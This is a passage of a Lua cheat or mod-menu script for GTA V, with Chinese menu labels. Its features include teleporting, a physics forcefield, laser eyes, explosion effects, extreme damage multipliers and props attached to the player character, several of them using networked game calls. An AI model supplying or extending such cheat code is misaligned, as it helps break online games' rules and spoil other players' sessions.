    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "送武器", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("amb@code_human_in_car_mp_actions@v_sign@std@ps@base") do 
        STREAMING.REQUEST_ANIM_DICT("amb@code_human_in_car_mp_actions@v_sign@std@ps@base")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("ex_office_swag_guns04"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "amb@code_human_in_car_mp_actions@v_sign@std@ps@base", "idle_a", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), 0,0.53,0.1,0.2,90,360, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTAC(sessionfun, '瞬间移动', {}, '', function(on_click)
    local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, fortp, 0)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.PLAYER_PED_ID(), pos['x'], pos['y'], pos['z'], true, false, false)
end)

fortp = 1
GTLuaScript.slider(sessionfun, '瞬移范围', {"fortpcount"}, '', 1, 100, 1, 1, function(s)
    fortp = s
end)

s_forcefield_range = 20
s_forcefield = 0
s_forcefield_names = {
    [0] = "推开",
    [1] = "弹飞",
    [2] = "拉近"
}

GTLP(sessionfun, "力场", {"sforcefield"}, "", function()
    if players.exists(players.user()) then
        local _entities = {}
        local player_pos = players.get_position(players.user())

        for _, vehicle in pairs(entities.get_all_vehicles_as_handles()) do
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle, false)
            if v3.distance(player_pos, vehicle_pos) <= s_forcefield_range then
                table.insert(_entities, vehicle)
            end
        end
        for _, ped in pairs(entities.get_all_peds_as_handles()) do
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
            if (v3.distance(player_pos, ped_pos) <= s_forcefield_range) and not PED.IS_PED_A_PLAYER(ped) then
                table.insert(_entities, ped)
            end
        end
        for _, entity in pairs(_entities) do
            local player_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
            local entity_type = ENTITY.GET_ENTITY_TYPE(entity)

            if NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity) and player_vehicle ~= entity then
                if entity_type == 1 then
                    PED.SET_PED_TO_RAGDOLL(entity, 500, 0, 0, false, false, false)
                end
                if s_forcefield == 1 then
                    ENTITY.APPLY_FORCE_TO_ENTITY(
                        entity, 3, 0, 0, 1, 0, 0, 0.5, 0, false, false, true, false, false
                    )
                else
                    local force = ENTITY.GET_ENTITY_COORDS(entity)
                    v3.sub(force, player_pos)
                    v3.normalise(force)

                    if s_forcefield == 2 then
                        v3.mul(force, -1)
                    end

                    ENTITY.APPLY_FORCE_TO_ENTITY(
                        entity, 3, force.x, force.y, force.z, 0, 0, 0.5, 0, false, false, true, false, false
                    )
                end
            end
        end
    end
end)

s_forcefield_direction_slider = GTLuaScript.slider_text(
    sessionfun, "力场方向", {"sforcefieldirection"}, "", s_forcefield_names, function()end
)
util.create_tick_handler(function()
    if not players.exists(players.user()) then
        return false
    end

    s_forcefield = GTLuaScript.get_value(s_forcefield_direction_slider)
end)

s_forcefield_range_slider = GTLuaScript.slider_float(
    sessionfun, "力场范围", {"sforcefieldrange"}, "", 100, 10000, 2000, 10, function(value)
        s_forcefield_range = value/100
end)

GTAC(sessionfun,"生成多米诺骨牌", {"spawndominoes"}, "很无聊的功能", function()
    local hash = util.joaat("prop_boogieboard_01")
    request_model_load(hash)
    local last_ent = players.user_ped()
    for i=2, 25 do 
        local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(last_ent, 0, -i, 0)
        local d = entities.create_object(hash, c)
        ENTITY.SET_ENTITY_HEADING(d, ENTITY.GET_ENTITY_HEADING(last_ent))
        OBJECT.PLACE_OBJECT_ON_GROUND_PROPERLY(d)
    end
end)

GTAC(sessionfun, '一键获得雪球', {}, '获得雪球！', function ()
    yijianxueqiu()
end)
    
GTAC(sessionfun, '一键获得烟花发射器', {}, '获得烟花发射器！', function ()
    yijianyanhua()
end)
    
GTLP(jigaungyan, "激光眼V1", {"lasereyes"}, "按E键", function(on)
    laser_eyes()
end)


        local hash <const> = util.joaat("VEHICLE_WEAPON_PLAYER_LAZER")
        local showNotification = true
        local lastShot = newTimer()
        local sound = Sound.new("Fire_Loop", "DLC_IE_VV_Gun_Player_Sounds")


        local DisableControlActions = function()
            PAD.DISABLE_CONTROL_ACTION(0, 106, true)
            PAD.DISABLE_CONTROL_ACTION(0, 122, true)
            PAD.DISABLE_CONTROL_ACTION(0, 135, true)
            PAD.DISABLE_CONTROL_ACTION(0, 140, true)
            PAD.DISABLE_CONTROL_ACTION(0, 141, true)
            PAD.DISABLE_CONTROL_ACTION(0, 142, true)
            PAD.DISABLE_CONTROL_ACTION(0, 263, true)
            PAD.DISABLE_CONTROL_ACTION(0, 264, true)
        end

        GTLP(jigaungyan, "激光眼V2", {"combustionman"}, "按E键", function()
        
            HUD.DISPLAY_SNIPER_SCOPE_THIS_FRAME()
            DisableControlActions()
            if not WEAPON.HAS_WEAPON_ASSET_LOADED(hash) then
                WEAPON.REQUEST_WEAPON_ASSET(hash, 31, 26)
            end
        
            if not PAD.IS_DISABLED_CONTROL_PRESSED(51, 51) then
                if not sound:hasFinished() then
                    sound:stop()
                end
            elseif lastShot.elapsed() > 100 then
                local pos = PED.GET_PED_BONE_COORDS(players.user_ped(), 0x322C, 0.0, 0.0, 0.0)
                local offset = get_offset_from_cam(80)
                if  sound:hasFinished() then
                    sound:playFromEntity(players.user_ped())
                    AUDIO.SET_VARIABLE_ON_SOUND(sound.Id, "fireRate", 10.0)
                end
                MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(
                    pos.x, pos.y, pos.z,
                    offset.x, offset.y, offset.z,
                    200,
                    true,
                    hash, players.user_ped(), true, true, -1.0
                )
                lastShot.reset()
            end
        end, function()
            if not sound:hasFinished() then
                sound:stop()
            end
        end)

        Lazer = {buttons = {68, 25}}
        Lazer_buttons = {Str_trans('Aim'), Str_trans('Pickup/Horn')}
        lazer = {exp = false, bull = 'WEAPON_TACTICALRIFLE', crosshair = true, vehicle = true}
        GTLP(jigaungyan, ('激光眼V3'), {'Leyeson'}, ('长按滑鼠右键'), function (on)
        
            if lazer.crosshair then
                HUD.DISPLAY_SNIPER_SCOPE_THIS_FRAME()
            end
            
            local weap = util.joaat(lazer.bull)
            local camrot = CAM.GET_FINAL_RENDERED_CAM_ROT(2)
            WEAPON.REQUEST_WEAPON_ASSET(weap)
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) then
                if Lazer.buttons[1] == 68 then
                    if set.scale then
                        SFlevaim()
                    end
                else
                    if set.scale then
                        SFlevhorn()
                    end
                end
            else
                if Lazer.buttons[1] == 38 then
                    if set.scale then
                        SFlepickup()
                    end
                else
                    if set.scale then
                        SFleaim()
                    end
                end
            end
            local impact = v3.new()
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, Lazer.buttons[1]) and lazer.vehicle then
                Leyes(lazer, impact, camrot, weap)
                ENTITY.SET_ENTITY_ROTATION(entities.get_user_vehicle_as_handle(), 0, 0, camrot.z, 2, true)
            elseif not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, Lazer.buttons[2]) then
                Leyes(lazer, impact, camrot, weap)
            end
        end)

GTTG(jigaungyan, "爆炸", {""}, "", function(on)
    lazer.exp = on
end)

GTLuaScript.list_select(jigaungyan, "换子弹", {'lebullets'}, "", Leyen, 1, function (bulsel)
    lazer.bull = Leyel[bulsel] 
end)

GTLP(sessionfun, "爆炸圈", {""}, "爆炸围着您绕圈圈", function(on)
    baozhanquan()
end)

GTTG(sessionfun, "超级跑", {"Super Run"}, "", function(on)
if on then
Super = on
GTLuaScript.trigger_commands("walkspeed 1.5")
GTLuaScript.trigger_commands("gracefullanding on")
GTLuaScript.trigger_commands("superrun 1.2")
else
GTLuaScript.trigger_commands("walkspeed 1")
GTLuaScript.trigger_commands("gracefullanding off")
GTLuaScript.trigger_commands("superrun 0")
Super = off
end
end,false)

GTTG(sessionfun, "超级跳", {"hulkmode"}, "", function(toggle)
if toggle then
 GTLuaScript.trigger_commands("damagemultiplier 10000")
GTLuaScript.trigger_commands("superjump")
util.toast("Hulk Mode On")
else
GTLuaScript.trigger_commands("damagemultiplier 1.01")
GTLuaScript.trigger_commands("damagemultiplier 1")
GTLuaScript.trigger_commands("superjump")
util.toast("Hulk Mode Off")
end 
end)

GTTG(sessionfun, "忍者跑",{""}, "跑得飞快滴忍者",function(on)
renzhepao(on)
end)

GTTG(sessionfun, "痛击队友", {}, "对队友展开攻击", function(toggle)
PED.SET_CAN_ATTACK_FRIENDLY(players.user_ped(), toggle, false) 
end)

GTLP(sessionfun, "快速近战", {"fastmelee"}, "更快的近战攻击", function()
if TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 130) then
PED.FORCE_PED_AI_AND_ANIMATION_UPDATE(players.user_ped())
end
end)

GTLP(sessionfun, "快速攀爬", {"fastmount"}, "更快的人物攀爬动作", function()
if TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 50) or TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 51) then
PED.FORCE_PED_AI_AND_ANIMATION_UPDATE(players.user_ped())
end
end)

GTLP(sessionfun, "JB炮", {"用JB发射炮弹"}, "", function ()
local ptfx_asset = "scr_indep_fireworks"
local effect_name = "scr_indep_firework_trailburst"
diaoshepao(ptfx_asset)
GRAPHICS.USE_PARTICLE_FX_ASSET(ptfx_asset)
GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_ON_ENTITY(effect_name, players.user_ped(), 0.0, 0.0, -0.3, 90.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0)
for i=1, 10 do 
local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, i, 0.0)
FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 67, 0.0, false, false, 0.0, true)
end
end)

GTLP(sessionfun, "JB炮v2", {"用JB发射炮弹"}, "", function ()
local ptfx_asset = "scr_indep_fireworks"
local effect_name = "scr_indep_firework_trail_spawn"
diaoshepao(ptfx_asset)
GRAPHICS.USE_PARTICLE_FX_ASSET(ptfx_asset)
GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_ON_ENTITY(effect_name, players.user_ped(), 0.0, 0.0, -0.3, 90.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0)
for i=1, 10 do 
local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, i, 0.0)
FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 67, 0.0, false, false, 0.0, true)
end
end)

GTTG(sessionfun, "投降",{""}, "按X",function(state)
handsup = state
while handsup do
hhandup()
wait()
end
end)
    
local bigbigbig = false
GTTG(dachuizi, "大锤V1", {"bighammer"}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_02a"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrel_02a"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

local bigbarrelqq = false
GTTG(dachuizi, "大锤V2", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_glass_stack_03"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrel_pile_03"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbarrelqq = on
    else
    GTLuaScript.trigger_commands("damagemultiplier 1")
    GTLuaScript.trigger_commands("rangemultiplier 1")
    entities.delete_by_handle(dachui)
    entities.delete_by_handle(tongzi)
    bigbarrelqq = off
    WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
end
end,false)

GTTG(dachuizi, "大锤V3", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_02b"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrel_02b"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V4", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_03a"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrel_03a"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V5", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_04"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrel_03d"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V6", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_05"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barbell_80kg"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V7", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bomb_01"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barrachneon"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V8", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_01c"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_barier_conc_01a"), pos.x, pos.y, pos.z, true, true, false)
        GTLuaScript.trigger_commands("damagemultiplier 1000")
        GTLuaScript.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        GTLuaScript.trigger_commands("damagemultiplier 1")
        GTLuaScript.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(dachuizi, "大锤V9", {""}, "", function(on)
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(),true)
        dachui = OBJECT.CREATE_OBJECT(util.joaat("prop_bollard_01c"), pos.x, pos.y, pos.z, true, true, false)
        tongzi = OBJECT.CREATE_OBJECT(util.joaat("prop_boogbd_stack_01"), pos.x, pos.y, pos.z, true, true, false)
        menu.trigger_commands("damagemultiplier 1000")
        menu.trigger_commands("rangemultiplier 1.5")
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dachui, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.2, 0.95, 0.2, 105, 30.0, 0, true, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(tongzi,dachui, 0,  0, 0, -0.2, -35.0, 100.0,0, true, true, false, false, 0, true)
        wait(1000)
        bigbigbig = on
    else
        menu.trigger_commands("damagemultiplier 1")
        menu.trigger_commands("rangemultiplier 1")
        entities.delete_by_handle(dachui)
        entities.delete_by_handle(tongzi)
        bigbigbig = off
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),-1810795771)
    end
end,false)

GTTG(sessionfun, "掏出诺基亚", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("amb@world_human_mobile_film_shocking@female@base") do 
        STREAMING.REQUEST_ANIM_DICT("amb@world_human_mobile_film_shocking@female@base")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("prop_v_m_phone_01"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "amb@world_human_mobile_film_shocking@female@base", "base", 10, 3, -1, 51, 5, false, false, false) --play anim 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), 0.52,0.43,-0.16,0.2,70,340, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "高尔夫背包",{}, "橙色,背在身上",function(on)
    local six = "prop_golf_bag_01b"
    if on then     
        attach_to_player(six, 0, 0, -0.3, 0.3, 0, 0,0)
    else
        delete_object(six)
    end
end)

GTTG(sessionfun, "高尔夫背包V2",{}, "粉色,背在身上",function(on)
    local six = "prop_golf_bag_01c"
    if on then     
        attach_to_player(six, 0, 0, -0.3, 0.3, 0, 0,0)
    else
        delete_object(six)
    end
end)

GTTG(sessionfun, "另类人", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("amb@world_human_sit_ups@male@base") do 
        STREAMING.REQUEST_ANIM_DICT("amb@world_human_sit_ups@male@base")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat(""), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "amb@world_human_sit_ups@male@base", "base", 10, 3, -1, 51, 5, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), 0.52,0.43,-0.16,0.2,70,340, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "螺旋丸", {}, "搓球球", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("anim@mp_player_intincarfreakoutstd@ps@") do 
        STREAMING.REQUEST_ANIM_DICT("anim@mp_player_intincarfreakoutstd@ps@")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("prop_bowling_ball"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "anim@mp_player_intincarfreakoutstd@ps@", "idle_a_fp", 10, 3, -1, 51, 5, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), 0.30,0.53,0,0.2,70,340, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "小书包",{""}, "",function(on)
    local six = "tr_prop_tr_bag_djlp_01a"
    if on then     
        attach_to_player(six, 0, 0, -0.2, 0.1, 0, 0,0)
    else
        delete_object(six)
    end
end)

GTTG(sessionfun, "龟壳",{""}, "",function(on)
    local six = "prop_ld_binbag_01"
    if on then     
        attach_to_player(six, 0, 0, 0, 0.2, 90, 0,0)
    else
        delete_object(six)
    end
end)
    
GTTG(toubushuzi, "250",{""}, "",function(on)
    local six = "prop_mp_num_5"
    local sixs = "prop_mp_num_2"
    local sixss = "prop_mp_num_0"
    if on then     
        attach_to_player(six, 0, 0.0, 0, 1.7, 0, 0,0)
        attach_to_player(sixss, 0, 1.0, 0, 1.7, 0, 0,0)
        attach_to_player(sixs, 0, -1.0, 0, 1.7, 0, 0,0)
    else
        delete_object(six)
        delete_object(sixss)
        delete_object(sixs)
    end
end)

GTTG(toubushuzi, "520",{""}, "",function(on)
    local six = "prop_mp_num_5"
    local sixs = "prop_mp_num_2"
    local sixss = "prop_mp_num_0"
    if on then     
        attach_to_player(sixs, 0, 0.0, 0, 1.7, 0, 0,0)
        attach_to_player(sixss, 0, 1.0, 0, 1.7, 0, 0,0)
        attach_to_player(six, 0, -1.0, 0, 1.7, 0, 0,0)
    else
